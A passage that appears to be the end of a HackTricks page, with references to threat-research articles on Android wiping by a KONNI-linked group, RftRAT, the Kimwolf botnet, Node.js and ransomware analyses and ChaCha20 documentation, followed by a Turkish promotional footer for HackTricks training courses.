- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
- Check Point Research – VECT: Ransomware by design, Wiper by accident
- Libsodium documentation – ChaCha20 stream cipher APIs
- RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


